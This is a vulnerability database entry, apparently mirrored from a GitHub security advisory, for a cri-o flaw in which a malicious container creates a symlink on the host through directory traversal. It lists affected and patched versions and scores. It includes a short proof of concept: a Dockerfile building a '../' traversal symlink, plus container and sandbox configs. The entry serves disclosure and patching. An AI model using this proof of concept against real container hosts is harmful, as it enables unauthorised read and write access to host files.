Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-j9hf-98c3-wrm8

Опубликовано: 04 июн. 2024
Источник: github
Github: Прошло ревью
CVSS3: 8.1

Описание

malicious container creates symlink "mtab" on the host External

Impact

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra .

and this container config:

{ "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } }

and this sandbox config

{ "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } }

will create a file on host /host/mtab

Patches

1.30.1, 1.29.5, 1.28.7

Workarounds

Unfortunately not

References

Are there any links users can visit to find out more?

Пакеты

Наименование

github.com/cri-o/cri-o

go
Затронутые версииВерсия исправления

>= 1.28.6, < 1.28.7

1.28.7

Наименование

github.com/cri-o/cri-o

go
Затронутые версииВерсия исправления

>= 1.29.4, < 1.29.5

1.29.5

Наименование

github.com/cri-o/cri-o

go
Затронутые версииВерсия исправления

>= 1.30.0, < 1.30.1

1.30.1

EPSS

Процентиль: 45%
0.00222
Низкий

8.1 High

CVSS3

Дефекты

CWE-22
CWE-668

Связанные уязвимости

CVSS3: 8.1
ubuntu
около 1 года назад

A flaw was found in cri-o. A malicious container can create a symbolic link pointing to an arbitrary directory or file on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.

CVSS3: 8.1
redhat
около 1 года назад

A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.

CVSS3: 8.1
nvd
около 1 года назад

A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.

CVSS3: 8.1
debian
около 1 года назад

A flaw was found in cri-o. A malicious container can create a symbolic ...

CVSS3: 8.1
redos
около 1 года назад

Уязвимость cri-o

EPSS

Процентиль: 45%
0.00222
Низкий

8.1 High

CVSS3

Дефекты

CWE-22
CWE-668